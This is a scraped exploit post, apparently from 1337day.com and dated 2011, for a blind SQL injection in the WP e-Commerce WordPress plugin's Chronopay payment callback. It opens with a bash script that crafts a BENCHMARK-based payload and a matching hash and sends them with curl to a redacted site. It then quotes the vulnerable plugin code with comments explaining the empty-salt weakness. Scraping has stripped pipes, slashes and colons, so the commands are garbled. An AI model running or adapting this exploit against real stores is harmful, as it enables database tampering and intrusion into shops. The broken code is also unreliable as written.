Shell Programming and Scripting

#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload  md5sum  tr -d 'n'  sed 'ss-sg'  md5sum  tr -d 'n'  sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill httpwww.[redacted].comchronopay_callback=true
 
---------------
Vulnerable code
---------------
.wp-e-commercewp-shopping-cart.php
 
    class WP_eCommerce {
 
        function WP_eCommerce() {
            add_action( 'plugins_loaded', array( $this, 'init' ), 8 );
        }
 
        function init() {
            ...
            $this-load();
            ...
        }
        function load() {
            ...
            wpsc_core_load_gateways();
            ...
        }
    ...
    $wpec = new WP_eCommerce();
 
 
.wp-e-commercewpsc-corewpsc-functions.php
 
    function wpsc_core_load_gateways() {
        global $nzshpcrt_gateways, $num, $wpsc_gateways,$gateway_checkout_form_fields;
 
        $gateway_directory      = WPSC_FILE_PATH . 'wpsc-merchants';
        $nzshpcrt_merchant_list = wpsc_list_dir( $gateway_directory );
 
        $num = 0;
        foreach ( $nzshpcrt_merchant_list as $nzshpcrt_merchant ) {
            if ( stristr( $nzshpcrt_merchant, '.php' ) ) {
                require( WPSC_FILE_PATH . 'wpsc-merchants' . $nzshpcrt_merchant );
            }
 
 
.wp-e-commercewpsc-merchantschronopay.php
 
    function nzshpcrt_chronopay_callback()
    {
        ...
        if(isset($_GET['chronopay_callback']) && ($_GET['chronopay_callback'] == 'true') && ($_POST['cs2'] == 'chronopay'))
        {
            $salt = get_option('chronopay_salt');
             - this is by default '' and set only if explicitly stated
               inside Store Settings-Payments-General Settings-
               Chronopay-Edit-Security Key
             - problem is that there are more popular payment gateways enlisted (e.g.
               Google Checkout and PayPal) and if that setting is not explicitly set
               it wide opens the door to the potential attacker
 
            $gen_hash = md5($salt . md5($_POST['cs1'] . $salt));   
             
            if($gen_hash == $_POST['cs3'])
            {
                ...
                $sessionid = trim(stripslashes($_POST['cs1']));
                $transaction_id = trim(stripslashes($_POST['transaction_id']));
                $verification_data['trans_id'] = trim(stripslashes($_POST['transaction_id']));
                $verification_data['trans_type'] = trim(stripslashes($_POST['transaction_type']));
 
                switch($verification_data['trans_type'])
                {
                    ...
                    case 'rebill'
                        $wpdb-query(UPDATE `.WPSC_TABLE_PURCHASE_LOGS.` SET
                                            `processed` = '2',
                                            `transactid` = '.$transaction_id.',
                                            `date` = '.time().'
                                        WHERE `sessionid` = .$sessionid. LIMIT 1);
    ...
    add_action('init', 'nzshpcrt_chronopay_callback');


# 1337day.com [2011-09-13]